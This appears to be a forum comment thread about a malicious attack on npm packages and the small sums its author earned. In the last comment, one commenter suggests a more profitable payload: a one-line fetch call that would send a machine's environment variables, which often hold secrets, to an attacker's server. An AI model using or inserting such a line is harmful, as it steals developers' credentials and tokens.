>Pretty low impact for an attack this big. Some of it seems to be people mocking the malware author with worthless transfers.
I believe this is the section. As far as I understand the link, it's about $500. I don't understand how you read if a donation is a worthless mockery donation.
500 USD, not bad for a month of work if the author is from a 3rd world country.
"Developing" or "poor" country may be a more accurate phrase.
A shitty junior developer in Ecuador easily pulls 700-800 per month. If they are any competent, they can double that in an outsourcing consultancy.
500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a support call scammer makes their owner in a day.
This was an attack on legitimate npm packages that end up in maybe hundreds of thousands of developer machines building tens of thousands applications.
`fetch(myserverurl+JSON.stringify(process.env)` would be orders of magnitude more profitable as payload.